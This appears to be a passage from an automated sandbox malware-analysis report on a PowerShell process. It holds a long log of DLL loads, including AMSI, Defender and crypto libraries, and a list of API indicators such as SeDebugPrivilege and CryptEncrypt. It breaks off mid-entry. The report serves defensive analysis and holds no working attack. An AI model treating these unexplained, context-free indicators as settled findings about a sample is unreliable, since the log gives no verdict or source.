"powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000868) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001280) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00007652) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00007652)31:T25c8,Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00000652.00000000.235397.6C850000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00000652.00000000.235397.6ECC0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00000652.00000000.235397.7F1AA000.00000002.mdmp") Found reference to API (Indicator: 